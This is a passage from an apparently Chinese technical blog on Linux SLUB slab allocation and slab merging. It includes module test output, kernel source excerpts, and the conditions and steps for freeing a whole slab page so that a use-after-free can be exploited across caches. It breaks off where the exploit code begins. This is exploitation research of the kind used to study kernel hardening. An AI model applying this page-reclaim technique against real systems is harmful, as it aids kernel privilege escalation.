class="line">MODULE_VERSION(<span class="string">"0.1"</span>);</span><br></pre></td></tr></table></figure></li><li><p>VM result</p><p> 分配的 object 地址和 page 的关系非常清晰</p> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">➜ ~ insmod slab-tc.ko</span><br><span class="line">[ <span class="number">1184.983757</span>] Hello</span><br><span class="line">[ <span class="number">1184.984278</span>] my_cachep: ffff8880096ea000, my_struct</span><br><span class="line">[ <span class="number">1184.985568</span>] my_cachep.<span class="built_in">size</span>: <span class="number">256</span></span><br><span class="line">[ <span class="number">1184.986451</span>] my_cachep.object_size: <span class="number">256</span></span><br><span class="line">[ <span class="number">1184.987488</span>] cpu: <span class="number">0</span></span><br><span class="line">**[ <span class="number">1184.988945</span>] [<span class="number">00</span>] object: ffff888005c38000, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span>**</span><br><span class="line">[ <span class="number">1184.991189</span>] [<span class="number">01</span>] object: ffff888005c38100, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1184.993438</span>] [<span class="number">02</span>] object: ffff888005c38200, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1184.995688</span>] [<span class="number">03</span>] object: ffff888005c38300, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1184.998018</span>] [<span class="number">04</span>] object: ffff888005c38400, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.000234</span>] [<span class="number">05</span>] object: ffff888005c38500, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.002529</span>] [<span class="number">06</span>] object: ffff888005c38600, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.004702</span>] [<span class="number">07</span>] object: ffff888005c38700, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.006841</span>] [<span class="number">08</span>] object: ffff888005c38800, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.008919</span>] [<span class="number">09</span>] object: ffff888005c38900, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.010944</span>] [<span class="number">10</span>] object: ffff888005c38a00, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.013021</span>] [<span class="number">11</span>] object: ffff888005c38b00, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.014904</span>] [<span class="number">12</span>] object: ffff888005c38c00, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.016926</span>] [<span class="number">13</span>] object: ffff888005c38d00, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.018883</span>] [<span class="number">14</span>] object: ffff888005c38e00, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span></span><br><span class="line">**[ <span class="number">1185.020761</span>] [<span class="number">15</span>] object: ffff888005c38f00, page: ffffea0000170e00(ffff888005c38000), <span class="number">1</span>**</span><br><span class="line">**[ <span class="number">1185.022735</span>] [<span class="number">16</span>] object: ffff88800953d000, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span>**</span><br><span class="line">[ <span class="number">1185.024679</span>] [<span class="number">17</span>] object: ffff88800953d100, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.026579</span>] [<span class="number">18</span>] object: ffff88800953d200, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.028528</span>] [<span class="number">19</span>] object: ffff88800953d300, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.030443</span>] [<span class="number">20</span>] object: ffff88800953d400, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.032372</span>] [<span class="number">21</span>] object: ffff88800953d500, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.034263</span>] [<span class="number">22</span>] object: ffff88800953d600, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.036116</span>] [<span class="number">23</span>] object: ffff88800953d700, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.038086</span>] [<span class="number">24</span>] object: ffff88800953d800, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.039929</span>] [<span class="number">25</span>] object: ffff88800953d900, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.041944</span>] [<span class="number">26</span>] object: ffff88800953da00, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.043852</span>] [<span class="number">27</span>] object: ffff88800953db00, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.045736</span>] [<span class="number">28</span>] object: ffff88800953dc00, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.047678</span>] [<span class="number">29</span>] object: ffff88800953dd00, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.049585</span>] [<span class="number">30</span>] object: ffff88800953de00, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span></span><br><span class="line">**[ <span class="number">1185.051391</span>] [<span class="number">31</span>] object: ffff88800953df00, page: ffffea0000254f40(ffff88800953d000), <span class="number">1</span>**</span><br><span class="line">**[ <span class="number">1185.053206</span>] [<span class="number">32</span>] object: ffff888009543000, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span>**</span><br><span class="line">[ <span class="number">1185.055038</span>] [<span class="number">33</span>] object: ffff888009543100, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.056666</span>] [<span class="number">34</span>] object: ffff888009543200, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.058430</span>] [<span class="number">35</span>] object: ffff888009543300, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.060174</span>] [<span class="number">36</span>] object: ffff888009543400, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.061955</span>] [<span class="number">37</span>] object: ffff888009543500, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.063694</span>] [<span class="number">38</span>] object: ffff888009543600, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.065468</span>] [<span class="number">39</span>] object: ffff888009543700, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.067231</span>] [<span class="number">40</span>] object: ffff888009543800, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.068930</span>] [<span class="number">41</span>] object: ffff888009543900, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.070600</span>] [<span class="number">42</span>] object: ffff888009543a00, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.072224</span>] [<span class="number">43</span>] object: ffff888009543b00, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.073911</span>] [<span class="number">44</span>] object: ffff888009543c00, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.075534</span>] [<span class="number">45</span>] object: ffff888009543d00, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">[ <span class="number">1185.077211</span>] [<span class="number">46</span>] object: ffff888009543e00, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span></span><br><span class="line">**[ <span class="number">1185.078887</span>] [<span class="number">47</span>] object: ffff888009543f00, page: ffffea00002550c0(ffff888009543000), <span class="number">1</span>**</span><br></pre></td></tr></table></figure><p> 有独立的 sysfs 目录</p> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">➜ ~ file /sys/kernel/slab/my_struct</span><br><span class="line">/sys/kernel/slab/my_struct: directory</span><br><span class="line"></span><br><span class="line">➜ ~ file /sys/kernel/slab/pool_workqueue</span><br><span class="line">/sys/kernel/slab/pool_workqueue: directory</span><br></pre></td></tr></table></figure></li><li><p>Host result</p><p> 分配的 obj 位于的 page 地址非常杂乱,<code>my_cachep</code> 的 <code>name</code> 也变成了 <code>pool_workqueue</code></p> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">[<span class="number">435532.063645</span>] Hello</span><br><span class="line">[<span class="number">435532.063655</span>] my_cachep: ffff8faf40045900, pool_workqueue</span><br><span class="line">[<span class="number">435532.063658</span>] my_cachep.<span class="built_in">size</span>: <span class="number">256</span></span><br><span class="line">[<span class="number">435532.063659</span>] my_cachep.object_size: <span class="number">256</span></span><br><span class="line">[<span class="number">435532.063660</span>] cpu: <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063662</span>] [<span class="number">00</span>] object: ffff8fafb100b400, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063664</span>] [<span class="number">01</span>] object: ffff8fafb100a700, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063666</span>] [<span class="number">02</span>] object: ffff8fafb100ae00, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063668</span>] [<span class="number">03</span>] object: ffff8fafb100b900, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063670</span>] [<span class="number">04</span>] object: ffff8fafb100be00, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063672</span>] [<span class="number">05</span>] object: ffff8fafb100bf00, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063674</span>] [<span class="number">06</span>] object: ffff8fafb100af00, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063676</span>] [<span class="number">07</span>] object: ffff8fafb100ad00, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063677</span>] [<span class="number">08</span>] object: ffff8fafb100bc00, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063679</span>] [<span class="number">09</span>] object: ffff8fafb100a600, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063681</span>] [<span class="number">10</span>] object: ffff8fafb100a800, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063683</span>] [<span class="number">11</span>] object: ffff8fafb100a000, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063685</span>] [<span class="number">12</span>] object: ffff8fafb100ab00, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063687</span>] [<span class="number">13</span>] object: ffff8fafb100b300, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063689</span>] [<span class="number">14</span>] object: ffff8fafb100a900, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063690</span>] [<span class="number">15</span>] object: ffff8fafb100b000, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063692</span>] [<span class="number">16</span>] object: ffff8fafb100a100, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063694</span>] [<span class="number">17</span>] object: ffff8fafb100b100, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063696</span>] [<span class="number">18</span>] object: ffff8fafb100b500, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063698</span>] [<span class="number">19</span>] object: ffff8fafb100bd00, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063700</span>] [<span class="number">20</span>] object: ffff8fafb100ba00, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063702</span>] [<span class="number">21</span>] object: ffff8fafb100b700, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063703</span>] [<span class="number">22</span>] object: ffff8fafb100a200, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063705</span>] [<span class="number">23</span>] object: ffff8fafb100b200, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063707</span>] [<span class="number">24</span>] object: ffff8fafb100bb00, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063709</span>] [<span class="number">25</span>] object: ffff8fafb100aa00, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063711</span>] [<span class="number">26</span>] object: ffff8fafb100a500, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063713</span>] [<span class="number">27</span>] object: ffff8fafb100b600, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063714</span>] [<span class="number">28</span>] object: ffff8fafb100b800, page: ffffd50545c402c0(ffff8fafb100b000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063716</span>] [<span class="number">29</span>] object: ffff8fafb100a400, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063718</span>] [<span class="number">30</span>] object: ffff8fafb100ac00, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063720</span>] [<span class="number">31</span>] object: ffff8fafb100a300, page: ffffd50545c40280(ffff8fafb100a000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063724</span>] [<span class="number">32</span>] object: ffff8faf488fec00, page: ffffd50544223f80(ffff8faf488fe000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063726</span>] [<span class="number">33</span>] object: ffff8faf488fe400, page: ffffd50544223f80(ffff8faf488fe000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063728</span>] [<span class="number">34</span>] object: ffff8faf488ff800, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063730</span>] [<span class="number">35</span>] object: ffff8faf488ff600, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063732</span>] [<span class="number">36</span>] object: ffff8faf488fe500, page: ffffd50544223f80(ffff8faf488fe000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063734</span>] [<span class="number">37</span>] object: ffff8faf488fea00, page: ffffd50544223f80(ffff8faf488fe000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063736</span>] [<span class="number">38</span>] object: ffff8faf488ffb00, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063737</span>] [<span class="number">39</span>] object: ffff8faf488ff200, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063739</span>] [<span class="number">40</span>] object: ffff8faf488fe200, page: ffffd50544223f80(ffff8faf488fe000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063741</span>] [<span class="number">41</span>] object: ffff8faf488ff700, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063743</span>] [<span class="number">42</span>] object: ffff8faf488ffa00, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063745</span>] [<span class="number">43</span>] object: ffff8faf488ff400, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063747</span>] [<span class="number">44</span>] object: ffff8faf488fe700, page: ffffd50544223f80(ffff8faf488fe000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063749</span>] [<span class="number">45</span>] object: ffff8faf488fee00, page: ffffd50544223f80(ffff8faf488fe000), <span class="number">1</span></span><br><span class="line">[<span class="number">435532.063750</span>] [<span class="number">46</span>] object: ffff8faf488ff900, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.063752</span>] [<span class="number">47</span>] object: ffff8faf488ffe00, page: ffffd50544223fc0(ffff8faf488ff000), <span class="number">0</span></span><br><span class="line">[<span class="number">435532.065672</span>] Bye</span><br></pre></td></tr></table></figure><p> sysfs 目录也是和 <code>pool_workqueue</code> 共用的</p> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">└─[$] file /sys/kernel/slab/my_struct </span><br><span class="line">/sys/kernel/slab/my_struct: symbolic link to :<span class="number">0000256</span></span><br><span class="line"></span><br><span class="line">└─[$] file /sys/kernel/slab/pool_workqueue </span><br><span class="line">/sys/kernel/slab/pool_workqueue: symbolic link to :<span class="number">0000256</span></span><br></pre></td></tr></table></figure></li></ul><h2 id="Part-3"><a href="#Part-3" class="headerlink" title="Part. 3"></a>Part. 3</h2><p>根据前两个部分知道,开启 <code>CONFIG_SLAB_MERGE_DEFAULT</code> 配置后,不同类型的 <code>kmem_cache</code> 的内存完全隔离.</p><p>这种情况下,想要占据被释放的 slab object 内存(比如一个 <code>struct file</code>) 只能通过申请相同的 slab object,</p><p>而像 <code>struct file</code> 这样的内存,用户态可以操纵的内容非常有限,</p><p>解决办法是: 占据目标 object (e.g. <code>struct file</code>) 所在的整个 page,在 object invalid free 之后 free 掉同页面其他 object,再满足<a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#how-to-free-a-page" target="_blank" rel="noopener">一系列条件</a> 就可以让整个 page 被 buddy system 回收,并被重新申请</p><hr><p><strong>条件一:</strong></p><p>目标 object 所在的 page 不是 <code>s->cpu_slab->page</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> __always_inline <span class="keyword">void</span> <span class="title">do_slab_free</span><span class="params">(struct kmem_cache *s,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct page *page, <span class="keyword">void</span> *head, <span class="keyword">void</span> *tail,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">int</span> cnt, <span class="keyword">unsigned</span> <span class="keyword">long</span> addr)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line">c = raw_cpu_ptr(s->cpu_slab);</span><br><span class="line">...</span><br><span class="line">**<span class="keyword">if</span> (likely(page == c->page)) {**</span><br><span class="line">...</span><br><span class="line">} <span class="keyword">else</span></span><br><span class="line"> __slab_free(s, page, head, tail_obj, cnt, addr);</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p><strong>条件二:</strong></p><p>object 所在 page 满足 <code>page->pobjects > (s)->cpu_partial</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// #define slub_cpu_partial(s) ((s)->cpu_partial)</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">put_cpu_partial</span><span class="params">(struct kmem_cache *s, struct page *page, <span class="keyword">int</span> drain)</span></span></span><br><span class="line">...</span><br><span class="line">oldpage = this_cpu_read(s->cpu_slab->partial);</span><br><span class="line">pobjects = oldpage->pobjects;</span><br><span class="line">**<span class="keyword">if</span> (drain && pobjects > slub_cpu_partial(s)) {**</span><br><span class="line">...</span><br><span class="line">unfreeze_partials(s, this_cpu_ptr(s->cpu_slab));</span><br></pre></td></tr></table></figure><p><strong>条件三:</strong></p><p>object 所在 page 位于 <code>freelist</code> 且 <code>page.inuse</code>为 0</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">unfreeze_partials</span><span class="params">(struct kmem_cache *s,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct kmem_cache_cpu *c)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"><span class="keyword">while</span> ((page = slub_percpu_partial(c))) {</span><br><span class="line">...</span><br><span class="line">**<span class="keyword">if</span> (unlikely(!<span class="keyword">new</span>.inuse && n->nr_partial >= s->min_partial)) {**</span><br><span class="line"> page->next = discard_page;</span><br><span class="line"> **discard_page = page;**</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line">...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">...</span><br><span class="line"><span class="keyword">while</span> (discard_page) {</span><br><span class="line"> page = discard_page;</span><br><span class="line"> discard_page = discard_page->next;</span><br><span class="line"></span><br><span class="line"> stat(s, DEACTIVATE_EMPTY);</span><br><span class="line"> **discard_slab(s, page);**</span><br><span class="line"> stat(s, FREE_SLAB);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><hr><p><strong>触发方法:</strong></p><ul><li>创建一批 objects 占满 cpu_partial + 2 个 pages, 保证 free 的时候 <code>page->pobjects > (s)->cpu_partial</code></li><li>创建 objects 占据一个新的 page ,但不占满,保证 <code>c->page</code> 指向这个 page</li><li>free 掉一个 page 的所有 objects, 使这个 page 的 <code>page.inuse == 0</code></li><li>剩下的每个 page free 一个 object 用完 partial list 后就会 free 掉目标 page</li></ul><p>代码如下: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 通过 free slab objects free 掉一个 page, 然后 UAF 利用</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment">➜ ~ uname -r</span></span><br><span class="line"><span 